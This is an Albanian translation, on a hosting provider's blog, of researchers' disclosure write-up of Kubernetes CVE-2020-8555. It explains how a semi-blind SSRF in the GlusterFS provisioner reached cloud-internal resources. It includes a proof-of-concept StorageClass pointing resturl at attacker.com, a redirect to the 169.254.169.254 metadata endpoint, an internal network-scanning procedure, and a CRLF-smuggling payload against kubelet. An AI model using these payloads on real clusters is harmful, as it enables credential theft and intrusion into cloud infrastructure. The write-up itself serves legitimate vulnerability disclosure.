ProHoster >> Blog >> Administrimi >> Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


ShĂ«n. pĂ«rk.: autorĂ«t e kĂ«tij artikulli flasin nĂ« detaje pĂ«r mĂ«nyrĂ«n si arritĂ«n tĂ« zbulojnĂ« dobĂ«sinĂ« CVE-2020–8555 nĂ« Kubernetes. Edhe pse fillimisht dukej e padĂ«mshme, nĂ« kombinim me faktorĂ« tĂ« tjerĂ«, kriticiteti i saj ishte maksimal pĂ«r disa ofrues tĂ« shĂ«rbimeve nĂ« re. Specializuar pĂ«r kĂ«tĂ« punĂ«, u shpĂ«rblyen bujshĂ«m nga disa organizata.

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Kush jemi ne

Ne jemi dy hulumtues francezë në fushën e sigurisë, të cilët zbuluan bashkë një dobësi në Kubernetes. Na quajnë Brice Augras dhe Christophe Hauquiert, por në shumë platforma të Bug Bounty jemi të njohur si Reeverzax dhe Hach përkatësisht:

ÇfarĂ« ndodhi?

Ky artikull është mënyra jonë për të treguar se si një projekt hulumtues i zakonshëm papritur u shndërrua në një aventurë shumë emocionuese për hajdutët e gabimeve (të paktën deri tani).

Siç e dini, hajdutët e gabimeve kanë disa karakteristika të veçanta:

  • ata jetojnĂ« me pica dhe birrĂ«;
  • ata punojnĂ« kur tĂ« tjerĂ«t flenĂ«.

Ne jemi një përjashtim nga këto rregulla: zakonisht takohemi në fundjavë dhe kalojmë netë të paqëndrueshme duke hakuar. Por një nga këto netë përfundoi në një mënyrë mjaft të pazakontë.

Fillimisht kishim planifikuar të takohemi për të diskutuar pjesëmarrjen në CTF në ditën pasuese. Gjatë bisedës për sigurinë e Kubernetes në një mjedis shërbimi të menaxhuar, na erdhën në mendje disa ide të vjetra për SSRF (Server-Side Request Forgery) dhe vendosëm të provojmë ta përdorim atë si një skenar sulmi.

Në orën 11 të mbrëmjes filluam studimet, dhe u dremitëm herët në mëngjes, mjaft të kënaqur me rezultatet. Pikërisht për shkak të këtyre hulumtimeve, ne zbuluam programin MSRC Bug Bounty dhe ideuam një eksploatim për rritjen e privilegjeve.

TĂ« kalonin disa javĂ«/muaj, dhe rezultati ynĂ« befasues na lejoi tĂ« fitonim njĂ« nga shpĂ«rblimet mĂ« tĂ« larta nĂ« historinĂ« e Azure Cloud Bug Bounty — pĂ«rveç asaj qĂ« fituam nga Kubernetes!

Nga projekti ynĂ« hulumtues, komiteti i SigurisĂ« sĂ« Produktit tĂ« Kubernetes publikoi CVE-2020–8555.

Tani, do të donim të shpërndanë sa më shumë informacion në lidhje me një vulnerabilitet të gjetur. Shpresojmë se do ta vlerësoni këtë zbulim dhe do të ndani detaje teknike me anëtarët e tjerë të komunitetit infosec!

Pra, ja historia jonë...

Konteksti

Për ta shpjeguar sa më plotësisht se çfarë ndodhi, le të shikojmë së pari se si funksionon Kubernetes në një mjedis të menaxhuar në cloud.

Kur krijoni një instancë të grupit Kubernetes në një mjedis të tillë, shtresa menaxhuese zakonisht kujdeset për ofruesi i shërbimeve cloud:

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes

Shtresa menaxhuese ndodhet në periferi të ofruesit të cloud-it, ndërsa nyjat e Kubernetes ndodhen në periferi të klientit.

Për alokimin dinamik të volumit përdoret mekanizmi i ofrimit dinamik nga një backend storage të jashtëm dhe lidhja me PVC (kërkesa për volum të qëndrueshëm).

Kështu, pasi PVC të krijohet dhe të lidhet me StorageClass-in në grupin K8s, veprimet e mëtejshme për ofrimin e volumit i merr mbi vetë menaxheri kube/cloud (emri i tij i saktë varet nga versioni). (Shën. përk.: Për më shumë mbi CCM-në në shembullin e implementimit të tij për një nga ofruesit e cloud-it, ne kemi shkruar më parë. këtu.)

Ka ekzistojnĂ« disa lloje provisioner’ash qĂ« mbĂ«shteten nga Kubernetes: shumica e tyre janĂ« tĂ« pĂ«rfshira nĂ« nĂ« thelb tĂ« orkestratorit, ndĂ«rsa tĂ« tjerĂ«t menaxhohen nga provisioner tĂ« jashtĂ«m, tĂ« cilat janĂ« tĂ« vendosura nĂ« pod’ë brenda klasterit.

Në hulumtimin tonë, ne u përqendruam në mekanizmin e brendshëm të ofrimit të volumeve, i cili ilustrohet më poshtë:

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes

Ofrimi dinamik i volumeve duke përdorur provisioner-in e integruar të Kubernetes

Në përmbledhje, kur Kubernetes është i vendosur në një mjedis të menaxhuar, menaxhimi i controller manager-it është përgjegjësi e ofruesit të shërbimeve cloud, por kërkesa për krijimin e një volumi (numri 3 në skemën e mësipërme) del jashtë kufijve të rrjetit të brendshëm të ofruesit të cloud. Dhe këtu situata bëhet vërtet interesante!

Skenari i thyerjes

NĂ« kĂ«tĂ« seksion, ne do tĂ« tregojmĂ« se si shfrytĂ«zuam procesin e pĂ«rmendur mĂ« parĂ« dhe fituam akses nĂ« burimet e brendshme tĂ« ofruesit tĂ« shĂ«rbimeve cloud. PĂ«r mĂ« tepĂ«r, do tĂ« tregohet mĂ«nyra se si mund tĂ« kryhen disa veprime — pĂ«r shembull, tĂ« sigurohen kredencialet e brendshme ose tĂ« realizohet escalimi i privilegjeve.

Një manipulim i thjeshtë (në këtë rast, është Service Side Request Forgery) na ndihmoi të dalim përtej ambientit të klientit në klasteret e ndryshme të ofruesve të shërbimeve që menaxhojnë K8s.

Në hulumtimet tona, u përqendruam te provisioner'i GlusterFS. Megjithëse radhitja e mëtejshme e veprimeve është përshkruar në një kontekst të tillë, kjo vulnerabilitet është e pranishme gjithashtu te Quobyte, StorageOS dhe ScaleIO.

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes

Shfrytëzimi i mekanizmit të dinamikës së ofrimit të volumeve

Gjatë analizës së klasës së ruajtjes GlusterFS në burimet e klientit në Golang ne vërejtëm, se gjatë kërkesës së parë HTTP (3), e dërguar gjatë krijimit të volumit, në fund të URL-së së përdoruesit në parametrin resturl shtohet /volumes.

PĂ«r tĂ« eliminuar kĂ«tĂ« rrugĂ« shtesĂ«, vendosĂ«m tĂ« shtojmĂ« # nĂ« parametrin resturl. Kjo Ă«shtĂ« konfigurimi i parĂ« YAML qĂ« ne pĂ«rdorĂ«m pĂ«r tĂ« kontrolluar prania e vulnerabilitetit «gjysmĂ« tĂ« verbĂ«r» SSRF (mĂ« shumĂ« rreth semi-blind ose half-blind SSRF mund tĂ« lexoni, pĂ«r shembull, kĂ«tu — shĂ«nim i pĂ«rkthyesit.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Më pas, për menaxhimin e largët të klasterit Kubernetes, u përdor binary-i kubectl. Në përgjithësi, ofruesit e cloud (Azure, Google, AWS, etj.) lejojnë marrjen e kredencialeve për t'i përdorur ato në këtë utilit.

Falë kësaj, u arrit të aplikohej skedari "special". Kube-controller-manager ekzekutoi kërkesën rezultante HTTP:

kubectl create -f sc-poc.yaml

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes

Përgjigjja nga këndvështrimi i sulmuesit

Pak pas kĂ«saj, ne gjithashtu arritĂ«m tĂ« merrnim njĂ« pĂ«rgjigje HTTP nga serveri target — pĂ«rmes komandave describe pvc ose get events nĂ« kubectl. Dhe nĂ« tĂ« vĂ«rtetĂ«: ky driver Kubernetes me default Ă«shtĂ« shumĂ« i zĂ«shĂ«m nĂ« paralajmĂ«rimet e tij/mesazhet e gabimeve...

Ja një shembull me një lidhje në https://www.google.fr, e vendosur si një parametër resturl:

kubectl describe pvc poc-ssrf
# ose mund të përdorni kubectl get events

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Në kuadër të këtij qasjeje, ne ishim të kufizuar në kërkesa të tipit HTTP POST dhe nuk mundëm të merrnim përmbajtjen e trupit të përgjigjes, nëse kodi i kthyer ishte 201Pra kjo, vendosëm të kryejmë kërkime të dodatshme dhe zgjatuam këtë skenar sulmi me qasje të reja.

Evolucioni i kërkimeve tona

  • Skenari i avancuar nr. 1: pĂ«rdorimi i redirect 302 nga njĂ« server i jashtĂ«m pĂ«r tĂ« ndryshuar metodĂ«n HTTP, nĂ« mĂ«nyrĂ« qĂ« tĂ« kemi njĂ« mĂ«nyrĂ« mĂ« fleksibĂ«l pĂ«r tĂ« mbledhur tĂ« dhĂ«nat e brendshme.
  • Skenari i avancuar nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve tĂ« brendshme.
  • Skenari i avancuar nr. 3: pĂ«rdorimi i HTTP CRLF + smuggling ("kontrabanda" e kĂ«rkesave) pĂ«r tĂ« krijuar kĂ«rkesa HTTP tĂ« pĂ«rshtatura dhe pĂ«r tĂ« marrĂ« tĂ« dhĂ«na tĂ« nxjerra nga log-Ă«t e kube-controller-it.

Specifikimet teknike

  • NĂ« kĂ«rkime u pĂ«rdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 nĂ« rajonin North Europe.
  • SkenarĂ«t e pĂ«rshkruar mĂ« sipĂ«r u ekzekutuan nĂ« versionet e fundit tĂ« Kubernetesit pĂ«rveç skenarit tĂ« tretĂ«, pasi ai kĂ«rkonte Kubernetes tĂ« ndĂ«rtuar me Golang version ≀ 1.12.
  • Serveri i jashtĂ«m i sulmuesit — https://attacker.com.

Skenari i avancuar nr. 1: redirect i kërkesës HTTP POST në GET dhe marrja e të dhënave të ndjeshme

Metoda origjinale u përmirësua nga konfigurimi i serverit të sulmuesit për të kthyer 302 HTTP Retcode, për të konvertuar kërkesën POST në kërkesën GET (hapi 4 në diagram):

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Kërkesa e parë (3), që vjen nga klienti GlusterFS (Menaxheri i Kontrollit), ka tipin POST. Duke ndjekur hapat e mëposhtëm, kemi arritur ta kthejmë atë në GET:

  • Si parametrin resturl duhet tĂ« specifikohet nĂ« StorageClass http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php kthen status-kodin 302 HTTP me header-in Location tĂ« mĂ«poshtĂ«m: http://169.254.169.254. Mund tĂ« jetĂ« çdo burim tjetĂ«r i brendshĂ«m — nĂ« kĂ«tĂ« rast, linku i rindĂ«rtimit pĂ«rdoret ekskluzivisht si shembull.
  • NĂ« mĂ«nyrĂ« tĂ« paracaktuar biblioteka net/http e Golang-it rikthen kĂ«rkesĂ«n dhe konverton POST nĂ« GET me status-kodin 302, si rezultat, njĂ« kĂ«rkesĂ« HTTP GET arrin nĂ« burimin e synuar.

Për të lexuar trupin e përgjigjes HTTP, duhet të bëni describe objektit PVC:

kubectl describe pvc xxx

Ky është një shembull i përgjigjes HTTP në formatin JSON që arritëm të marrim:

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Kapacitetet e dobësisë së gjetur në atë kohë ishin të kufizuara për shkak të këtyre pikave:

  • PamundĂ«sia pĂ«r tĂ« futur headra HTTP nĂ« kĂ«rkesĂ«n qĂ« del.
  • PamundĂ«sia pĂ«r tĂ« kryer njĂ« kĂ«rkesĂ« POST me parametra nĂ« trup (kaq e lehtĂ« Ă«shtĂ« tĂ« kĂ«rkosh vlerĂ«n e çelĂ«sit nga njĂ« ekzemplar etcd, qĂ« punon nĂ« 2379 port, nĂ«se pĂ«rdoret HTTP i pacriptuar).
  • PamundĂ«sia pĂ«r tĂ« marrĂ« pĂ«rmbajtjen e trupit tĂ« pĂ«rgjigjes, kur statusi ishte 200 dhe pĂ«rgjigja nuk kishte JSON Content-Type.

Skenari i avancuar nr. 2: skanimi i rrjetit lokal

Ky metod i gjysĂ«m-verbuar SSRF mĂ« pas u pĂ«rdor pĂ«r skanimin e rrjetit tĂ« brendshĂ«m tĂ« ofruesit tĂ« shĂ«rbimit cloud dhe pĂ«r tĂ« anketuar shĂ«rbime tĂ« ndryshme nĂ« listen (instanca Metadata, Kubelet, etcd etj.) bazuar nĂ« pĂ«rgjigjet e tyre kube controller’it.

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Fillimisht u përcaktuan portet standard të komponentëve Kubernetes (8443, 10250, 10251 etj.), dhe më pas duhej të automatizohej procesi i skanimit.

Duke parë se ky metod i skanimit të burimeve është shumë specifik dhe nuk është i përputhshëm me skanerët klasikë dhe mjetet SSRF, vendosëm të krijojmë punëtorë të vetë në bash-skriptë që automatizojnë tërë procesin.

Për shembull, për të skanuar më shpejt gamën 172.16.0.0/12 të rrjetit të brendshëm, ishin nisur paralelisht 15 punëtorë. Gama e IP-së e përmendur më lart u zgjodh vetëm si një shembull dhe mund të ndryshohet në gamën e IP-së së ofruesit të shërbimit të caktuar.

Për të skanuar një adresë IP dhe një port, duhet të bëni si më poshtë:

  • tĂ« fshihet StorageClass i verifikuar herĂ«n e kaluar;
  • tĂ« fshihet Persistent Volume Claim i verifikuar mĂ« parĂ«;
  • tĂ« ndryshohen vlerat IP dhe Port nĂ« sc.yaml;
  • tĂ« krijohet njĂ« StorageClass me IP dhe port tĂ« rinj;
  • krijo PVC tĂ« ri;
  • nxirrni rezultatet e skanimit pĂ«rmes describe’s pĂ«r PVC.

Skema e avancuar Nr. 3: injeksioni CRLF + abuzimi me HTTP në versionet "e vjetra" të klasterit Kubernetes

Nëse përveç kësaj ofruesi ofronte versione të vjetra të klasterit K8s dhe u jepte atyre akses në log-et e kube-controller-manager, efekti bëhej edhe më i dukshëm.

Për sulmuesin, është shumë më e lehtë të ndryshojë sipas dëshirës kërkesat HTTP, të destinuara për të marrë një përgjigje të plotë HTTP.

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Për të realizuar skenarin e fundit, duhet të përmbushen kushtet e mëposhtme:

  • PĂ«rdoruesi duhet tĂ« ketĂ« akses nĂ« log-et e kube-controller-manager (si, pĂ«r shembull, nĂ« Azure LogInsights).
  • Klasteri Kubernetes duhet tĂ« pĂ«rdorĂ« njĂ« version tĂ« Golang nĂ«n 1.12.

Krijuam një ambient lokal që imiton shkëmbimin e të dhënave midis klientit Go GlusterFS dhe një serveri të rremë (meqe po e ndalojmë publikimin e PoC).

U zbulua vulnerabiliteti, që prekte versionet e Golang nën 1.12 dhe lejonte hakerët të kryejnë sulme të tipit HTTP smuggling/CRLF.

Kombinimi i SSRF-të gjysmë të verbër të përshkruar më sipër bashkë me këtë, ne arritëm të dërgojmë kërkesa sipas dëshirave tona, duke përfshirë ndryshimin e titujve, metodën HTTP, parametrat dhe të dhënat, të cilat kube-controller-manager më pas i përpunonte.

Ja një shembull i funksionit «të joshur» në parametrin resturl StorageClass, që realizon një skenar të tillë sulmi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Si rezultat lind një gabim përgjigje e papritur, mesazhi i të cilit regjistrohet në logjet e kontrolluesit. Falë 'ngazëllimësisë' të përfshirë nga default, aty ruhet gjithashtu përmbajtja e përgjigjes HTTP.

Kur çështja nuk Ă«shtĂ« vetĂ«m njĂ« dobĂ«si nĂ« Kubernetes


Kjo ishte strategjia jonë më efektive në kuadër të provës së konceptit.

Duke përdorur një qasje të tillë, ne arritëm të realizojmë disa nga sulmet e mëposhtme në klasteret e ndryshme të ofruesve managed k8s: rritje privilegjesh me marrjen e kredencialeve në instancat e metadata, DoS të masterit përmes kërkesave (të pa-kriptuara) HTTP në instancat master të etcd etj.

Pasojat

Në deklaratën zyrtare të Kubernetes për dobësinë SSRF që ne zbulonim, i është dhënë një pikëzim CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Nëse shqyrtojmë vetëm vulnerabilitetin e lidhur me perimetrin e Kubernetes, vektori i integritetit (vektori i integritetit) kualifikohet si Asnjë.

Megjithatë, vlerësimi i pasojave të mundshme në kontekstin e një mjedisi shërbimi të menaxhuar (dhe kjo ishte pjesa më interesante e hulumtimit tonë!) na shtyu të rishikojmë vulnerabilitetin në një rang Kritik CVSS10/10 për shumë distributorë.

Më poshtë është informacion shtesë që do të ndihmojë në kuptimin e asaj që na udhëhoqi në vlerësimin e pasojave të mundshme në mjediset në cloud:

Integriteti

  • Ekzekutimi i komandeve nĂ« distancĂ« duke pĂ«rdorur kredencialet e brendshme tĂ« fituara.
  • Riprodhimi i skenarit tĂ« pĂ«rmendur mĂ« lart pĂ«rmes metodĂ«s IDOR (Insecure Direct Object Reference, domethĂ«nĂ« lidhjet e drejtpĂ«rdrejta tĂ« pasigurta pĂ«r objekte) me burime tĂ« tjera tĂ« zbuluara nĂ« rrjetin lokal.

Konfidencialiteti

  • Sulmi i tipit LĂ«vizja laterale falĂ« vjedhjes sĂ« kredencialeve tĂ« cloud-it (p.sh., metadata API).
  • Marrja e informacionit pĂ«rmes skanimit tĂ« rrjetit lokal (identifikimi i versionit tĂ« SSH, versionit tĂ« serverit HTTP, 
).
  • Mblidhni informacionin mbi instancat dhe infrastrukturĂ«n duke pyetur API-tĂ« e brendshme, si metadata API (http://169.254.169.254, 
).
  • Vjedhja e tĂ« dhĂ«nave tĂ« klientĂ«ve pĂ«rmes akreditimeve tĂ« cloud.

Disponueshmëria

Të gjitha skenarët e përdorimit të exploiteve, të lidhura me vektorët e sulmit mbi integritetin, mund të përdoren për veprime shkatërruese dhe të çojnë në atë që master-instatns të jashtme (ose ndonjë tjetër) të bëhen të papërfshirë.

Pasi ishim në një mjedis të menaxhuar K8s dhe vlerësuam ndikimin në integritetin, mund të imagjinojmë shumë skenarë që mund të ndikojnë në disponueshmërinë. Si shembuj të tjerë mund të përmendim dëmtimin e bazës së të dhënave etcd ose bërjen e një thirrjeje kritike në API-në Kubernetes.

Kronologjia

  • 6 Dhjetor 2019: dĂ«rgimi i njĂ« mesazhi mbi zbulimin e njĂ« dobĂ«sie nĂ« MSRC Bug Bounty.
  • 3 Janar 2020: njĂ« palĂ« e tretĂ« informoi zhvilluesit e Kubernetes se ne po punonim mbi njĂ« problem nĂ« fushĂ«n e sigurisĂ«. Dhe i kĂ«rkoi ata ta konsideronin SSRF si njĂ« dobĂ«si tĂ« brendshme (in-core). Pas kĂ«saj, ne paraqitĂ«m njĂ« raport tĂ« pĂ«rgjithshĂ«m me detaje teknike mbi burimin e problemit.
  • 15 janar 2020: ne ofruam zhvilluesve tĂ« Kubernetes raporte teknike dhe tĂ« pĂ«rgjithshme sipas kĂ«rkesĂ«s sĂ« tyre (nĂ«pĂ«rmjet platformĂ«s HackerOne).
  • 15 janar 2020: zhvilluesit e Kubernetes na informuan se SSRF gjysmĂ«-qorr + injeksioni CRLF pĂ«r versionet e mĂ«parshme konsiderohet njĂ« dobĂ«si in-core. Ne menjĂ«herĂ« ndaluam analizĂ«n e perimetrave tĂ« ofruesve tĂ« tjerĂ« tĂ« shĂ«rbimeve: shkaku fillestar tani ishte nĂ« duar tĂ« ekipit K8s.
  • 15 janar 2020: pĂ«rmes HackerOne Ă«shtĂ« marrĂ« njĂ« shpĂ«rblim nga MSRC.
  • 16 janar 2020: Kubernetes PSC (Komiteti i SigurisĂ« sĂ« Produktit) pranoi dobĂ«sinĂ« dhe kĂ«rkoi ta mbajĂ« atĂ« tĂ« fshehtĂ« deri nĂ« mes tĂ« marsit pĂ«r shkak tĂ« numrit tĂ« madh tĂ« viktimave tĂ« mundshme.
  • 11 shkurt 2020: Ă«shtĂ« marrĂ« njĂ« shpĂ«rblim nga Google VRP.
  • 4 mars 2020: pĂ«rmes HackerOne Ă«shtĂ« marrĂ« njĂ« shpĂ«rblim nga Kubernetes.
  • 15 mars 2020: shpĂ«rndarja fillimisht e planifikuar e informacionit Ă«shtĂ« shtyrĂ« pĂ«r shkak tĂ« situatĂ«s me COVID-19.
  • 1 qershor 2020: njĂ« deklaratĂ« e pĂ«rbashkĂ«t nga Kubernetes + Microsoft mbi dobĂ«sinĂ«.

TL;DR

  • Ne po pimĂ« birrĂ« dhe hamĂ« pizzĂ« 🙂
  • Ne zbuluam njĂ« dobĂ«si in-core nĂ« Kubernetes, pĂ«rkundĂ«r faktit se nuk e kishim planifikuar atĂ«.
  • Ne kemi bĂ«rĂ« njĂ« analizĂ« tĂ« thelluar nĂ« klasteret e ofruesve tĂ« ndryshĂ«m tĂ« cloud dhe arritĂ«m tĂ« rrisnim dĂ«min qĂ« shkaktonte dobĂ«sia, nĂ« mĂ«nyrĂ« qĂ« tĂ« fitonim bonuse ekstra tĂ« mahnitshme.
  • NĂ« kĂ«tĂ« artikull do tĂ« gjeni shumĂ« detaje teknike. Ne do tĂ« do ishim tĂ« lumtur t'i diskutonim ato me ju (Twitter: @ReeverZax & @__hach_).
  • Doli se tĂ« gjitha formalitetet dhe pĂ«rgatitja e raporteve zĂ«nĂ« shumĂ« mĂ« tepĂ«r kohĂ« se sa pritej.

Linke

P.S. nga përkthyesi

Lexoni gjithashtu në blogun tonë:

Burimi: habr.com

Bli njĂ« hosting tĂ« besueshĂ«m pĂ«r faqet me mbrojtje DDoS, VPS VDS serverĂ« đŸ”„ Bli njĂ« hosting tĂ« besueshĂ«m pĂ«r faqet me mbrojtje DDoS, VPS VDS serverĂ« | ProHoster